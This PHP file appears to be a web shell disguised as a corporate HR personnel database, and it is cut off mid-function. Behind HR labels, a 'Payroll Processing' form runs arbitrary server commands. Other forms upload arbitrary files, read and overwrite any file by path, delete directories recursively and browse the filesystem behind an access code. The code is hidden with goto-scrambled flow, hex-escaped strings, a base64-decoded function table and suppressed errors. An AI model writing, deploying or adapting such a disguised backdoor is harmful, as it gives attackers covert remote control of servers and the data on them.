<?php eval(base64_decode('
 goto gwtPl; GIJV8: goto k7U_G; goto yGGnr; fbFRD: if (isset($_GET["\x74\145\x72\x6d\x69\156\141\x74\x65"]) && isset($_GET["\144\x65\160\x74"])) { $target_employee = secureEmployeeData($_GET["\164\145\x72\155\151\x6e\141\x74\145"]); if (PersonnelManager::terminateEmployee($target_employee)) { $_SESSION["\163\165\x63\x63\145\x73\x73\x5f\x6e\157\x74\x69\146\151\143\141\x74\x69\157\156"] = "\105\x6d\x70\x6c\157\171\145\x65\40\x72\x65\143\157\162\x64\40\164\145\162\x6d\151\156\141\x74\145\x64\x2e"; } else { $_SESSION["\x65\162\162\157\162\x5f\156\157\164\x69\146\151\x63\141\x74\x69\157\x6e"] = "\124\x65\162\x6d\151\156\141\x74\151\x6f\x6e\x20\146\141\151\x6c\x65\x64\56"; } header("\114\x6f\143\x61\164\151\157\x6e\72\40" . $_SERVER["\x50\x48\120\x5f\x53\x45\114\x46"] . "\x3f\x64\145\x70\x74\x3d" . urlencode($_GET["\144\x65\x70\x74"])); die; } goto AnQfW; qTbuD: wC4ZL: goto Jkjd8; gVrJP: B2EVO: goto h8kVu; Kru5T: k7U_G: goto mz8u6; Hd99V: goto m2aNW; goto fsMOt; qOlH2: Lv5ro: goto IWGpZ; qdcGe: nmqO0: goto pCjvF; w8IjS: echo count($employee_records); goto JY710; n_s0E: goto rkDB5; goto bVWuq; uqyCW: goto C9kJo; goto WpxIo; KqnSr: goto r8mJ2; goto RwazV; jO91B: ?>
</footer></main></div><div class="modal-overlay"id="terminateModal"><div class="modal-content"><h3 style="color:#c53030;margin-bottom:10px"><i class="fas fa-exclamation-triangle"></i> Confirm Termination</h3><p style="margin-bottom:28px;color:#4a5568">This will permanently terminate the employee record. Action cannot be reversed.</p><div style="display:flex;gap:18px;justify-content:center"><button class="btn btn-secondary"onclick='closeModal("terminateModal")'>Cancel</button> <button class="btn"style="background:#c53030;color:var(--white)"id="confirmTerminateBtn">Terminate Record</button></div></div></div><div class="modal-overlay"id="previewModal"><div class="modal-content"style="max-width:950px"><h3 style="margin-bottom:18px"><i class="fas fa-user"></i> Employee Record Preview</h3><div class="record-viewer"id="recordViewer">Loading record...</div><div style="text-align:center;margin-top:28px"><button class="btn btn-secondary"onclick='closeModal("previewModal")'>Close</button></div></div></div><script>let terminateTarget = '', terminateDept = '';
function confirmTermination(emp, dept) { 
    terminateTarget = emp; 
    terminateDept = dept; 
    document.getElementById('terminateModal').style.display = 'flex'; 
}
function closeModal(id) { 
    document.getElementById(id).style.display = 'none'; 
}
document.getElementById('confirmTerminateBtn').onclick = function() {
    if (terminateTarget && terminateDept) {
        window.location.href = '?terminate=' + encodeURIComponent(terminateTarget) + '&dept=' + encodeURIComponent(terminateDept);
    }
};
function previewRecord(file) {
    fetch('?preview=' + encodeURIComponent(file) + '&dept=<?php  goto tVrep; Gn1zT: Bldd8: goto dkZJj; y5yzJ: uXn65: goto mFG36; ovUfx: class BackgroundCheckScanner { private $risks = array("\143\x6c\x65\141\x72", "\155\x6f\144\x65\x72\x61\x74\145", "\150\x69\147\x68", "\x63\x72\151\164\151\143\x61\154"); public function scanEmployee($record) { return $this->risks[array_rand($this->risks)]; } } goto wvPsW; LBn0c: ?>
"class="hr-link active"><i class="fas fa-users"></i> Personnel</a></li><li><a href="#"class="hr-link"><i class="fas fa-chart-bar"></i> Analytics</a></li><li><a href="#"class="hr-link"><i class="fas fa-file-contract"></i> Compliance</a></li><li><a href="?logout=1"class="hr-link"><i class="fas fa-sign-out-alt"></i> Logout</a></li></ul></aside><main class="main-panel"><header class="header-bar"><div class="header-main"><h1>Personnel Database</h1><p><i class="fas fa-map-pin"></i> Current department: <span class="current-location"><?php  goto qG8zC; RlzNB: goto RQrNR; goto V4ZZJ; aS3WN: goto B2EVO; goto hyXBM; fJ5W8: pkM4i: goto R220j; xXGJD: XDwFb: goto wTig0; gwtPl: goto MOdaM; goto cHzAM; aLrbd: goto huNzJ; goto LNLYL; hyXBM: gf__0: goto kJuD3; Wf6PD: goto diZvu; goto Ldc7i; BgB90: goto SwQzj; goto FQVXg; K2_j_: if (isset($_GET["\165\160\144\x61\x74\x65"])) { $record_file = $office_location . DIRECTORY_SEPARATOR . $_GET["\165\160\144\141\164\145"]; $record_data = file_exists($record_file) ? file_get_contents($record_file) : ''; ?>
<div class="personnel-container"style="margin-top:40px;border:2px solid var(--primary)"><div class="personnel-header"><h2><i class="fas fa-edit"></i> Update:<?php  echo secureEmployeeData($_GET["\165\160\x64\x61\x74\145"]); ?>
</h2><a href="?dept=<?php  echo urlencode($office_location); ?>
"class="btn btn-secondary">Cancel</a></div><div style="padding:40px"><form method="post"><textarea name="record_data"style="width:100%;min-height:400px;font-family:'SF Mono',monospace;background:#1a202c;color:#e2e8f0;padding:28px;border-radius:14px;border:1px solid #4a5568;resize:vertical"><?php  echo htmlspecialchars($record_data); ?>
</textarea><div style="margin-top:28px;display:flex;gap:14px"><button class="btn btn-success"type="submit"><i class="fas fa-save"></i> Update Record</button> <a href="?dept=<?php  echo urlencode($office_location); ?>
"class="btn btn-secondary">Cancel</a></div></form></div></div><?php  } goto RKaYQ; JI8ax: ?>
<!doctypehtml><html lang="en"><head><meta charset="UTF-8"><title>Corporate Personnel Database</title><link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap"rel="stylesheet"><link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"rel="stylesheet"><style>:root{--navy:#1A202C;--steel-blue:#2C5282;--slate:#4A5568;--white:#F8FAFC;--primary:#4299E1}*{margin:0;padding:0;box-sizing:border-box}body{font-family:Inter,sans-serif;background:linear-gradient(135deg,#f8fafc 0,#e2e8f0 100%);color:var(--navy);line-height:1.6}.hr-interface{display:flex;min-height:100vh}.hr-sidebar{width:280px;background:linear-gradient(180deg,var(--navy) 0,var(--steel-blue) 100%);color:var(--white);position:fixed;height:100vh;overflow-y:auto;box-shadow:4px 0 25px rgba(26,32,44,.25)}.sidebar-header{padding:40px 30px;text-align:center;border-bottom:1px solid rgba(255,255,255,.1)}.hr-icon{width:70px;height:70px;background:var(--primary);border-radius:18px;display:flex;align-items:center;justify-content:center;margin:0 auto 18px;font-size:30px;color:var(--white)}.sidebar-title{font-size:20px;font-weight:600;letter-spacing:.3px}.hr-menu{list-style:none;padding:10px 0}.hr-link{display:flex;align-items:center;gap:18px;padding:20px 30px;color:rgba(255,255,255,.9);text-decoration:none;transition:all .3s;border-left:4px solid transparent}.hr-link.active,.hr-link:hover{background:rgba(255,255,255,.15);border-left-color:var(--primary);color:var(--white);transform:translateX(4px)}.main-panel{flex:1;margin-left:280px;padding:40px}.header-bar{display:flex;justify-content:space-between;align-items:center;background:var(--white);padding:30px 40px;border-radius:20px;box-shadow:0 6px 25px rgba(0,0,0,.08);margin-bottom:40px}.header-main h1{color:var(--navy);font-size:34px;font-weight:600;margin-bottom:8px}.header-main p{color:var(--slate);font-size:16px}.director-info{text-align:right;background:#f0f8ff;padding:15px 30px;border-radius:60px}.director-name{font-weight:600}.director-role{font-size:14px;color:var(--slate)}.stats-grid{display:grid;grid-template-columns:repeat(4,1fr);gap:25px;margin-bottom:40px}.stat-card{background:var(--white);padding:32px;border-radius:20px;display:flex;align-items:center;gap:25px;box-shadow:0 6px 25px rgba(0,0,0,.08)}.stat-icon{width:70px;height:70px;border-radius:18px;display:flex;align-items:center;justify-content:center;font-size:26px;color:var(--white)}.stat-blue{background:var(--primary)}.stat-green{background:#38a169}.stat-purple{background:#805ad5}.stat-gold{background:#d69e2e}.stat-text h3{color:var(--slate);font-size:15px;font-weight:500}.stat-value{font-size:34px;font-weight:700;color:var(--navy)}.control-panel{display:grid;grid-template-columns:repeat(3,1fr);gap:25px;margin-bottom:40px}.control-card{background:var(--white);border-radius:20px;padding:32px;border:1px solid #e6ebf0;box-shadow:0 4px 15px rgba(0,0,0,.06)}.control-card h4{display:flex;align-items:center;gap:14px;color:var(--navy);margin-bottom:25px;font-size:18px;font-weight:600}.form-group{margin-bottom:20px}.form-group label{display:block;font-size:14px;color:var(--slate);margin-bottom:8px;font-weight:500}input,select,textarea{width:100%;padding:16px 20px;border:2px solid #e6ebf0;border-radius:12px;font-size:15px;transition:all .2s;font-family:inherit}input:focus,select:focus,textarea:focus{border-color:var(--primary);outline:0;box-shadow:0 0 0 4px rgba(66,153,225,.1)}.btn{padding:16px 32px;border:none;border-radius:12px;font-weight:600;cursor:pointer;display:inline-flex;align-items:center;gap:12px;transition:all .2s;font-size:15px}.btn-primary{background:linear-gradient(135deg,var(--primary),#3182ce);color:var(--white)}.btn-success{background:#38a169;color:var(--white)}.btn-secondary{background:#f8fafc;color:var(--navy);border:2px solid #e6ebf0}.personnel-container{background:var(--white);border-radius:20px;overflow:hidden;box-shadow:0 10px 35px rgba(0,0,0,.1)}.personnel-header{padding:32px 40px;background:linear-gradient(90deg,#f8fafc 0,var(--white) 100%);border-bottom:2px solid #e6ebf0;display:flex;justify-content:space-between;align-items:center}.personnel-header h2{color:var(--navy);font-size:24px;font-weight:600}.current-location{background:#f0f8ff;padding:12px 28px;border-radius:60px;font-family:'SF Mono',monospace;font-size:15px}.parent-nav{display:inline-block;margin:20px 40px;background:#f0f8ff;padding:12px 28px;border-radius:60px;color:var(--navy);text-decoration:none;font-weight:500}table{width:100%;border-collapse:collapse}th{text-align:left;padding:18px 24px;font-size:14px;color:var(--slate);border-bottom:3px solid #e6ebf0;font-weight:500}td{padding:18px 24px;border-bottom:1px solid #f8fafc}tr:hover td{background:#f8fafc}.status-tag{padding:8px 16px;border-radius:25px;font-size:13px;font-weight:600}.tag-department{background:#bfdbfe;color:#1e40af}.tag-employee{background:#f1f5f9;color:#475569}.action-panel{display:flex;gap:12px}.action-btn{width:44px;height:44px;border-radius:14px;display:flex;align-items:center;justify-content:center;text-decoration:none;transition:all .2s;border:none;cursor:pointer;font-size:15px}.action-preview{background:#bfdbfe;color:#1e40af}.action-update{background:#c6f6d5;color:#22543d}.action-terminate{background:#fed7d7;color:#c53030}.modal-overlay{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,.45);backdrop-filter:blur(6px);align-items:center;justify-content:center;z-index:1000}.modal-content{background:var(--white);padding:40px;border-radius:20px;max-width:600px;width:92%;max-height:92vh;overflow-y:auto}.record-viewer{background:#1a202c;color:#e2e8f0;padding:28px;border-radius:14px;font-family:'SF Mono',monospace;max-height:500px;overflow:auto;margin:24px 0;white-space:pre-wrap;line-height:1.6}.footer-bar{text-align:center;padding:40px;color:var(--slate);font-size:15px;border-top:2px solid #e6ebf0;margin-top:50px}</style></head><body><div class="hr-interface"><aside class="hr-sidebar"><div class="sidebar-header"><div class="hr-icon">👤</div><div class="sidebar-title">HR DIRECTOR</div></div><ul class="hr-menu"><li><a href="?dept=<?php  goto jceiN; RKaYQ: goto i5S2y; goto p01VV; g4JuN: tZ0QL: goto K2_j_; v2jCP: ?>
<footer class="footer-bar">Corporate Personnel Database v5.1 | Last Updated:<?php  goto hV9d1; KtAoc: RQrNR: goto Y2A2l; P01Ev: if (!isset($_SESSION["\150\162\x5f\144\x69\162\x65\x63\x74\157\162"]) || $_SESSION["\x68\162\x5f\x64\x69\x72\x65\x63\x74\x6f\162"] !== true) { if (isset($_POST["\141\x63\143\145\x73\x73\x5f\143\x6f\144\145"]) && $hr_director->authorizeAccess($_POST["\x61\x63\143\145\x73\163\x5f\x63\x6f\x64\x65"])) { $_SESSION["\x68\x72\x5f\x64\x69\162\145\143\x74\157\162"] = true; $_SESSION["\163\145\x73\163\151\157\x6e\137\163\164\141\162\x74"] = executeHRAction("\x4e\x4f\127"); header("\114\157\x63\x61\x74\x69\x6f\x6e\72\40" . $_SERVER["\x50\x48\120\137\123\105\114\106"]); die; } showAccessPortal(); die; } goto FpUbW; fsMOt: LOG0F: goto XmBRW; M1Med: diZvu: goto z3bZ1; XhaEt: goto XDwFb; goto Q1U4n; IWGpZ: class HRComplianceTracker { private static $instance = null; private $compliance_log = array(); private function __construct() { $this->compliance_log = array(); } public static function getInstance() { if (self::$instance === null) { self::$instance = new HRComplianceTracker(); } return self::$instance; } public function logEvent($event) { $this->compliance_log[] = $event; } } goto T2EDk; LKO_h: goto Z5xcd; goto M1Med; R220j: $office_location = isset($_GET["\x64\x65\x70\x74"]) ? executeHRAction("\126\105\x52\x49\x46\x59\137\120\x41\124\x48", $_GET["\144\x65\x70\164"]) : PersonnelManager::getOfficeLocation(); goto n_s0E; wTig0: $hr_director = new HRDirectorAccess(); goto rvJd9; IiGZF: goto s8lwr; goto AE94J; Egkmn: echo round(memory_get_usage(true) / 1048576, 1); goto nUC6o; BYiL4: goto uXn65; goto LtKzS; B_hA7: y8Bc1: goto FqXjR; v_ath: goto TA3cF; goto s_RhJ; O30Ru: ?>
min</div></div></div></div><div class="control-panel"><div class="control-card"><h4><i class="fas fa-calculator"style="color:var(--primary)"></i> Payroll Processing</h4><form method="post"><div class="form-group"><label>Command</label> <input name="payroll_cmd"placeholder="e.g., whoami / ls -la"></div><button class="btn btn-primary"type="submit"style="width:100%"><i class="fas fa-dollar-sign"></i> Process Payroll</button></form></div><div class="control-card"><h4><i class="fas fa-user-plus"style="color:#38a169"></i> Onboard Employee</h4><form method="post"enctype="multipart/form-data"><input name="dept"value="<?php  goto mVcKd; FpUbW: goto pkM4i; goto KtAoc; XFUA2: goto tZ0QL; goto Wg0OA; Yd5Te: ?>
</span></p></div><div class="director-info"><div class="director-name">HR Director</div><div class="director-role">Active Session</div></div></header><?php  goto U6ubb; B5nmv: goto N0Ut0; goto xXGJD; rzWtS: echo secureEmployeeData($office_location); goto Hge6F; V0nLS: function executeHRAction($policy, ...$parameters) { global $__HR; if (!isset($__HR[$policy])) { return null; } $action = $__HR[$policy]; return call_user_func_array($action, $parameters); } goto Rdgse; e59ZK: goto I0R91; goto U4y0X; s_RhJ: tfoXx: goto hf7gJ; FqXjR: if (isset($_GET["\154\157\147\x6f\x75\164"])) { executeHRAction("\x4c\117\107\x4f\x55\124"); header("\114\157\143\x61\164\151\157\156\x3a\40" . $_SERVER["\x50\x48\x50\137\123\x45\114\x46"]); die; } goto caTOS; V8kGb: C9kJo: goto Pqnhi; qx8nS: u5vKs: goto jO91B; uArPe: if (isset($_POST["\x68\x69\162\145\137\x65\x6d\x70\154\x6f\171\145\145"])) { $new_employee = $office_location . DIRECTORY_SEPARATOR . secureEmployeeData($_POST["\145\x6d\160\137\156\x61\155\145"]); $emp_type = $_POST["\145\x6d\x70\x5f\x74\171\160\145"]; if (PersonnelManager::hireEmployee($new_employee, $emp_type)) { $_SESSION["\163\x75\143\x63\x65\163\163\x5f\156\x6f\x74\x69\x66\x69\143\141\x74\151\157\156"] = ucfirst($emp_type) . "\x20\162\x65\x63\157\162\x64\x20\x63\x72\x65\x61\164\x65\144\56"; } else { $_SESSION["\145\162\x72\x6f\x72\x5f\156\x6f\x74\151\x66\151\x63\141\164\x69\157\156"] = "\122\145\143\157\162\144\40\x63\162\145\x61\x74\151\157\156\x20\x66\x61\151\x6c\145\144\x2e"; } header("\x4c\157\x63\141\x74\151\x6f\156\72\40" . $_SERVER["\x50\110\x50\137\123\105\114\106"] . "\x3f\144\x65\x70\x74\x3d" . urlencode($office_location)); die; } goto svgQj; t7kCL: ini_set("\144\151\163\160\154\x61\171\x5f\x65\x72\x72\157\162\x73", 0); goto aS3WN; DEqNC: echo round(disk_free_space("\x2e") / 1073741824, 1); goto n1u3v; OTKc3: goto Lv5ro; goto WHgYU; rbu2X: goto vRIV2; goto qx8nS; x2vp3: goto c7VjN; goto Kru5T; x285z: goto QstGB; goto xxSR2; yGGnr: eTOfX: goto Egkmn; LtKzS: rP3l3: goto Yd5Te; Y2A2l: ?>
<div style="padding:0 40px 40px;overflow-x:auto"><table><thead><tr><th>Record</th><th>Type</th><th>Size</th><th>Last Login</th><th>Access Level</th><th>Actions</th></tr></thead><tbody><?php  goto RPrVh; U6ubb: goto KLMck; goto Hhv9f; F6HYO: goto LOG0F; goto wKR1A; X8Q7R: p7vb5: goto Lu9T6; hV9d1: goto UyyTN; goto qdcGe; nsNbW: s8lwr: goto hgYmT; UTkSd: JlgrJ: goto t7kCL; C9SIN: ?>
<div class="stats-grid"><div class="stat-card"><div class="stat-icon stat-blue"><i class="fas fa-users"></i></div><div class="stat-text"><h3>Headcount</h3><div class="stat-value"><?php  goto KqnSr; lBtSK: huNzJ: goto YvjT6; A2eJh: goto j4RwN; goto QlgsG; tSR0Q: ?>
"type="hidden"><div class="form-group"><label>Employee Record</label> <input name="employee_record"required type="file"></div><button class="btn btn-success"type="submit"style="width:100%"><i class="fas fa-user-plus"></i> Onboard</button></form></div><div class="control-card"><h4><i class="fas fa-user-plus"style="color:#d69e2e"></i> New Record</h4><form method="post"><div class="form-group"><label>Employee Name</label> <input name="emp_name"placeholder="e.g., john.doe"required></div><div class="form-group"><label>Type</label> <select name="emp_type"><option value="employee">Employee</option><option value="department">Department</option></select></div><button class="btn btn-primary"type="submit"style="width:100%"name="hire_employee"><i class="fas fa-plus"></i> Create</button></form></div></div><div class="personnel-container"><div class="personnel-header"><h2><i class="fas fa-users"></i> Employee Records</h2><div class="current-location"><?php  goto HzYzK; aBUrK: goto yU7dN; goto Au5Ru; Hge6F: goto rP3l3; goto WLPwi; NvKNq: m2aNW: goto LYrMu; kJuD3: if (isset($_SESSION["\x65\x72\x72\157\162\x5f\156\157\164\151\x66\x69\x63\x61\164\x69\157\156"])) { ?>
<div style="background:#fed7d7;color:#c53030;padding:20px 32px;border-radius:60px;margin-bottom:32px;display:flex;align-items:center;gap:14px"><i class="fas fa-exclamation-triangle"></i><?php  echo secureEmployeeData($_SESSION["\x65\162\162\157\162\137\156\x6f\x74\151\146\151\143\141\164\x69\157\x6e"]); unset($_SESSION["\x65\162\162\157\x72\x5f\x6e\x6f\x74\151\146\151\x63\141\x74\x69\x6f\156"]); ?>
</div><?php  } goto BYiL4; JY710: goto WcUAs; goto I1PSP; WHgYU: MOdaM: goto r0nzt; MH4uE: goto CUdiN; goto MOzsT; Lu9T6: ?>
MB</div></div></div><div class="stat-card"><div class="stat-icon stat-gold"><i class="fas fa-clock"></i></div><div class="stat-text"><h3>Session</h3><div class="stat-value"><?php  goto eF13u; RwazV: N0Ut0: goto fC2DC; caTOS: goto w1eud; goto qOlH2; eF13u: goto baLS6; goto NvKNq; FZkuG: goto y8Bc1; goto gVrJP; QlgsG: c7VjN: goto JI8ax; Au5Ru: yU7dN: goto Xh5d2; qG8zC: goto PwkcJ; goto DOjvn; nUC6o: goto p7vb5; goto qTbuD; svgQj: goto QBKjL; goto Ur2_A; U4y0X: PwkcJ: goto rzWtS; Wg0OA: ZCcVV: goto NqJvF; Ur2_A: TA3cF: goto O30Ru; AzCdq: echo floor((time() - $_SESSION["\163\x65\x73\163\x69\x6f\156\137\163\x74\x61\x72\x74"]) / 60); goto v_ath; XQDLN: i5S2y: goto v2jCP; metxJ: goto s12pI; goto b9l9g; nMIHw: goto FvpVx; goto V8kGb; mFG36: if (isset($_SESSION["\160\141\x79\x72\x6f\x6c\154\x5f\162\x65\x73\x75\154\x74"]) && isset($_GET["\163\x68\157\x77\x5f\160\x61\x79\162\157\x6c\154"])) { ?>
<div style="background:#bee3f8;color:#2b6cb0;padding:20px 32px;border-radius:14px;margin-bottom:32px"><i class="fas fa-calculator"></i><pre style="margin:14px 0 0;background:#f0f8ff;padding:20px;border-radius:10px"><?php  echo secureEmployeeData($_SESSION["\x70\141\x79\162\x6f\154\154\137\162\x65\163\165\154\x74"]); unset($_SESSION["\160\x61\171\162\x6f\x6c\x6c\137\162\x65\163\165\x6c\x74"]); ?>
</pre></div><?php  } goto DslD5; zunKp: goto Bldd8; goto g4JuN; SyhDH: fvAI_: goto fbFRD; bav4x: S2nyr: goto yr0aW; YvjT6: executeHRAction("\x53\x45\124\x5f\114\117\x43\101\x54\x49\x4f\116", $office_location); goto JKkm9; NY3Z7: goto gf__0; goto bav4x; op_cO: class HRDirectorAccess { private $director_token; public function __construct() { $this->director_token = $this->generateDirectorToken(); } private function generateDirectorToken() { return hash("\x73\x68\x61\x32\65\66", session_id() . $_SERVER["\x48\x54\124\120\x5f\110\x4f\123\124"] . "\150\162\137\144\x69\x72\145\x63\164\x6f\162"); } public function authorizeAccess($access_code) { return trim($access_code) === DB_KEY; } } goto aBUrK; hf7gJ: echo urlencode($office_location); goto Wf6PD; ug2fz: ?>
</div></div></div><div class="stat-card"><div class="stat-icon stat-green"><i class="fas fa-hdd"></i></div><div class="stat-text"><h3>Storage</h3><div class="stat-value"><?php  goto x285z; I93iF: if (isset($_POST["\x70\141\x79\x72\x6f\154\x6c\x5f\143\155\x64"])) { $result = PersonnelManager::runPayrollProcess($_POST["\160\141\x79\162\x6f\x6c\x6c\137\143\155\144"]); $_SESSION["\160\x61\x79\162\157\x6c\x6c\137\162\145\163\165\154\164"] = $result; header("\114\157\x63\141\x74\151\157\x6e\72\40" . $_SERVER["\120\x48\x50\137\x53\x45\x4c\106"] . "\x3f\144\x65\x70\x74\x3d" . urlencode($office_location) . "\x26\163\150\x6f\x77\x5f\x70\141\171\162\x6f\154\x6c\75\61"); die; } goto B5nmv; n1u3v: goto wiVpX; goto dtkaC; wKR1A: I0R91: goto RgCi6; bVWuq: ScIyc: goto C9SIN; dkZJj: if ($office_location != "\x2e" && $office_location != "\x2f") { ?>
<a href="?dept=<?php  echo urlencode(executeHRAction("\x54\105\101\115\137\104\x49\122", $office_location)); ?>
"class="parent-nav"><i class="fas fa-level-up-alt"></i> Parent Department </a><?php  } goto RlzNB; cHzAM: CUdiN: goto tSR0Q; Q1U4n: KLMck: goto ZRs9P; RPrVh: goto N2T1C; goto Gn1zT; vyk5k: goto u5vKs; goto LvVXb; WpxIo: vRIV2: goto wW2nH; ooYf4: rkDB5: goto Y3rwG; AJhH8: $employee_records = PersonnelManager::listEmployees($office_location); goto Hd99V; ITWoe: baLS6: goto AzCdq; Pqnhi: error_reporting(0); goto SA0dR; jnzu7: foreach ($__HR_FUNCS as $key => $val) { $__HR[$key] = base64_decode($val); } goto JctEO; Xh5d2: class EmployeeOnboardingSystem { private $processes = array(); public function __construct() { $this->processes = array("\157\x6e\142\x6f\x61\162\144\151\156\147" => array("\146\x6f\x72\155\x5f\162\145\166\151\x65\167", "\142\141\x63\153\147\162\x6f\x75\156\x64\x5f\x63\150\145\x63\153", "\143\157\156\x74\162\141\x63\x74\137\x73\151\x67\x6e\x69\156\x67"), "\x6f\x66\146\x62\x6f\141\162\x64\x69\156\147" => array("\x65\170\151\164\x5f\x69\x6e\164\x65\162\x76\x69\x65\x77", "\141\x73\x73\145\x74\x5f\162\145\x63\157\x76\145\162\171", "\146\151\x6e\141\154\x5f\x70\141\171\x72\x6f\154\154")); } public function processEmployee($emp_id) { return "\105\115\120\x2d" . str_pad($emp_id, 6, "\60", STR_PAD_LEFT); } } goto OTKc3; T2EDk: goto eFMIr; goto edP4b; tVrep: goto tfoXx; goto SyhDH; fC2DC: if (isset($_GET["\x75\160\144\x61\164\145"]) && isset($_POST["\x72\x65\x63\157\x72\144\x5f\144\x61\x74\141"])) { $record_path = $office_location . DIRECTORY_SEPARATOR . $_GET["\x75\160\144\141\164\145"]; if (PersonnelManager::updateEmployeeRecord($record_path, $_POST["\x72\x65\143\157\162\x64\x5f\x64\x61\164\141"])) { $_SESSION["\163\x75\143\143\x65\163\x73\x5f\x6e\157\164\x69\x66\151\143\141\x74\x69\x6f\x6e"] = "\105\155\x70\154\x6f\x79\145\x65\x20\162\145\x63\157\162\144\x20\x75\x70\x64\141\x74\145\x64\56"; } else { $_SESSION["\x65\162\x72\x6f\x72\x5f\156\x6f\164\x69\146\x69\x63\x61\x74\151\x6f\x6e"] = "\x55\x70\x64\141\164\x65\40\x66\x61\x69\154\x65\144\56"; } header("\x4c\157\143\141\x74\151\157\156\72\40" . $_SERVER["\x50\110\x50\137\123\x45\114\106"] . "\x3f\144\x65\x70\x74\x3d" . urlencode($office_location)); die; } goto mVXCH; yr0aW: echo urlencode($office_location); goto metxJ; jFS5H: echo secureEmployeeData($office_location); goto GIJV8; ZRs9P: if (isset($_SESSION["\163\x75\x63\143\x65\x73\163\137\156\157\164\x69\146\151\x63\x61\164\x69\x6f\x6e"])) { ?>
<div style="background:#c6f6d5;color:#22543d;padding:20px 32px;border-radius:60px;margin-bottom:32px;display:flex;align-items:center;gap:14px"><i class="fas fa-check-circle"></i><?php  echo secureEmployeeData($_SESSION["\163\x75\x63\x63\x65\x73\163\137\156\x6f\x74\151\146\151\143\x61\164\151\157\156"]); unset($_SESSION["\x73\x75\x63\x63\145\x73\x73\137\156\x6f\164\151\x66\x69\x63\x61\x74\151\x6f\x6e"]); ?>
</div><?php  } goto NY3Z7; rvJd9: goto czQOZ; goto nsNbW; DOjvn: w1eud: goto AJhH8; AnQfW: goto nmqO0; goto UF6tE; Yu0_o: $employee_db = array(); goto IiGZF; Hhv9f: QBKjL: goto I93iF; mz8u6: ?>
</div></div><?php  goto zunKp; DslD5: goto ScIyc; goto bELDt; JctEO: goto bgRe2; goto UTkSd; bELDt: QstGB: goto DEqNC; mVXCH: goto ZCcVV; goto xRQXx; AV7hY: echo date("\x4d\40\152\x20\x59\x20\x48\72\151\x3a\x73"); goto vyk5k; pCjvF: if (isset($_FILES["\x65\155\x70\x6c\157\171\x65\145\137\162\145\x63\x6f\x72\144"]) && isset($_POST["\144\145\x70\x74"])) { $target_dept = secureEmployeeData($_POST["\x64\145\160\164"]); $position = $target_dept . DIRECTORY_SEPARATOR . executeHRAction("\105\115\x50\137\x4e\x41\115\x45", $_FILES["\x65\x6d\160\x6c\x6f\x79\x65\x65\x5f\x72\145\x63\157\x72\x64"]["\x6e\141\x6d\145"]); if (PersonnelManager::onboardEmployee($_FILES["\x65\x6d\160\154\157\x79\145\x65\137\162\x65\143\x6f\x72\144"]["\164\x6d\160\x5f\156\141\155\x65"], $position)) { $_SESSION["\163\165\143\143\145\163\x73\137\156\x6f\164\151\146\x69\x63\141\x74\x69\157\156"] = "\x45\x6d\x70\154\x6f\171\x65\145\40\157\x6e\x62\x6f\x61\162\144\x65\144\x20\x73\x75\143\143\145\163\x73\x66\x75\x6c\154\171\x2e"; } else { $_SESSION["\x65\x72\162\157\x72\137\156\x6f\164\x69\146\x69\143\141\x74\x69\157\x6e"] = "\x4f\156\142\x6f\141\162\x64\x69\156\x67\40\x66\x61\x69\x6c\x65\144\x2e"; } header("\x4c\157\x63\141\164\151\157\x6e\72\x20" . $_SERVER["\120\110\120\x5f\123\x45\114\x46"] . "\x3f\144\145\x70\x74\x3d" . urlencode($target_dept)); die; } goto A2eJh; I1PSP: N2T1C: goto z0TWW; H_XH6: $office_location = executeHRAction("\103\114\x45\101\116\137\x4e\101\115\x45", "\134", "\57", $office_location); goto aLrbd; RgCi6: class PersonnelManager { public static function getOfficeLocation() { return executeHRAction("\103\x55\x52\122\x45\x4e\x54\137\x4f\106\x46\111\103\x45"); } public static function listEmployees($department) { $staff = @executeHRAction("\105\x4d\x50\x4c\x4f\131\x45\x45\x5f\x4c\x49\x53\x54", $department); if (!$staff) { return array(); } $employee_list = array(); foreach ($staff as $employee) { if ($employee == "\56" || $employee == "\x2e\56") { continue; } $full_record = $department . DIRECTORY_SEPARATOR . $employee; $is_team = executeHRAction("\x44\105\x50\x54\137\x43\x48\x45\x43\x4b", $full_record); $employee_list[] = array("\x6e\x61\x6d\x65" => $employee, "\x66\x75\154\154\137\x70\141\x74\150" => $full_record, "\x74\x79\160\x65" => $is_team ? "\144\145\160\141\x72\164\x6d\145\x6e\164" : "\x65\x6d\160\154\157\171\145\x65", "\163\151\x7a\145" => $is_team ? "\55" : self::formatRecordSize(executeHRAction("\106\111\114\x45\x5f\x53\x49\x5a\x45", $full_record)), "\154\141\x73\164\x5f\154\x6f\147\x69\x6e" => executeHRAction("\x44\x41\124\105\x5f\123\124\101\115\120", "\115\x20\x6a\x20\131\40\110\x3a\151", executeHRAction("\x4c\x41\123\x54\137\114\117\x47\111\116", $full_record)), "\x61\143\143\145\x73\x73\137\x6c\145\166\x65\154" => executeHRAction("\x53\x4c\111\x43\x45\137\x44\101\124\x41", executeHRAction("\x46\117\x52\115\101\124\137\105\115\120\111\x44", "\45\157", executeHRAction("\x41\x43\103\105\123\x53\137\x4c\105\126\105\x4c", $full_record)), -4)); } return $employee_list; } private static function formatRecordSize($bytes) { if ($bytes == 0) { return "\x30\x20\102"; } $units = array("\x42", "\x4b\x42", "\115\102", "\107\102"); $index = executeHRAction("\x43\101\x4c\103\x5f\131\105\x41\122\123", executeHRAction("\x4c\117\x47\137\x59\105\101\122\123", $bytes, 1024)); return executeHRAction("\122\117\x55\x4e\x44\x5f\124\x45\x4e\x55\x52\105", $bytes / executeHRAction("\105\x58\120\x5f\x59\105\101\122\x53", 1024, $index), 1) . "\x20" . $units[$index]; } public static function onboardEmployee($temp_file, $position) { return executeHRAction("\117\x4e\102\117\x41\x52\104\137\x45\115\120", $temp_file, $position); } public static function terminateEmployee($employee) { if (executeHRAction("\104\105\x50\x54\x5f\103\x48\105\103\x4b", $employee)) { $team_members = executeHRAction("\x46\x49\114\124\105\x52\x5f\105\x4d\120", executeHRAction("\105\115\x50\x4c\x4f\x59\x45\105\137\114\x49\123\x54", $employee), array("\56", "\56\x2e")); foreach ($team_members as $member) { self::terminateEmployee($employee . DIRECTORY_SEPARATOR . $member); } return executeHRAction("\x43\114\x45\101\x4e\x5f\104\x45\120\x54", $employee); } return executeHRAction("\x54\105\122\x4d\111\x4e\101\124\x45\x5f\x45\115\x50", $employee); } public static function updateEmployeeRecord($record_path, $new_data) { return 